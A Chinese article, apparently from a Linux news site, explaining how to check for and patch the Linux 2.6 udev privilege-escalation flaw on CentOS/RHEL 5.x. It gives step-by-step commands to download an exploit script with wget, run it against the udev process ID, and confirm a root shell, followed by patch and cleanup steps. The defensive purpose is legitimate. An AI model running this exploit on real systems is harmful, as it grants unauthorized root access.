关于Linux 2.6 kernel udev 漏洞的检测及修补

最近闹的很凶的Linux udev漏洞对2.6系列的CentOS/RHEL 5.x（除了5.3）都有效，而对2.4系列的则无效，对于CentOS/RHEL 4.x 经过测试，按本文攻击方法无效，但是否真的无效还有待真正高手验证！请大家必须打起12分精神。赶紧升级。ExtMail团队已经将所有我们掌控的Linux服务器（2.6 kernel，5.x 系列）全部升级完毕。以下是检测方法和升级方法，请路过使用受影响的linux系统的朋友一定要参考并升级，否则很容易出问题。这次可以通过任意web程序来实现攻击，而且成功率几乎100%。检测方法：

1）下载攻击脚本：
wget http://www.linuxidc.com/system/systembak/exploit-udev-8478.txt2）获得udev进程号
执行：ps ax|grep udev|grep -v grep|awk {"print $1"} 获得udev进程号，然后将此数字减1作为
exploit-udev-8478的参数，例如命令结果为143则参数为1423）执行：
sh exploit-udev-8478 142
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
sh-3.1#
然后id 看看：
uid=0（root） gid=0（root） groups=65530（hzqbbc）顺利获得root权限，如果无法获得root权限，要多执行脚本几次，一般第二次即可获得root权限。
解决/预防方法唯一的就是要立刻升级udev软件包，此软件包升级后不需要重启动。方法很简单，请升级对应版本的官方最新udev，尤其要注意查看是否将这个漏洞补掉，EMOS用户可以很简单的用yum升级：yum update udev升级完毕后再用检测方法检测一遍以确保没有问题！强烈建议再重新做检测时，执行以下命令清除掉上一次入侵成功的临时文件，否则升级完也会攻击成功的。以root权限执行：
引用:
rm -rf /tmp/libno_ex*
rm -rf /tmp/suid
rm -rf /tmp/udev展望Chrome操作系统的安全性问题安全专家发布可攻破Linux内核的0day代码相关资讯漏洞

快递官网漏洞泄露 1400 万用户信息（08/12/2014 08:37:42）
要389目录服务器访问绕过漏洞（10/01/2012 09:18:08）
ASUS Net4Switch "ipswcom.dll" （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！（10/06/2012 08:28:32）
PHPCMS V9.1.13任意文件包含漏洞分（08/01/2012 07:23:17）
Open Handset Alliance Android （03/01/2012 06:59:34）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论